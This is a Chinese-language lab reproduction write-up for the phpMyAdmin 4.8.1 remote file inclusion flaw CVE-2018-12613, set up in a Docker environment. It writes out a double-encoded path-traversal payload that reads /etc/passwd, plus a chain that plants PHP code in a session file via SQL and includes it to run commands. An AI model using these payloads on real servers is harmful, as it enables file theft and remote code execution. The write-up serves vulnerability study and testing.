phpmyadmin 4.8.1 远程文件包含漏洞CVE-2018-12613

PHPMyAdmin是一套开源的、基于Web的MysqL数据库管理工具。其index.PHP中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。

参考文档：

• https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
• https://www.phpmyadmin.net/security/PMASA-2018-4/

漏洞环境

执行如下命令，启动PHPmyadmin 4.8.1：

docker-compose up -d

环境启动后，访问http://your-ip:8080，即可进入PHPmyadmin。配置的是“config”模式，所以无需输入密码，直接登录test账户。

漏洞复现

尝试读取/etc/passwd
构造payload：

index.PHP?target=db_sql.PHP%253f/../../../../etc/passwd

漏洞存在

在sql中执行select '<?PHP PHPinfo() ?>';，然后查看当前页面cookie中的PHPmyadmin的值

包含session文件

http://192.168.75.130:8080/index.PHP?target=db_sql.PHP%253f/../../../../../../../../tmp/sess_d3a37537d1314fd70ad53dc67cb18564

构造执行命令的语句，返回命令执行的结果

select '<?PHP echo ls ?>';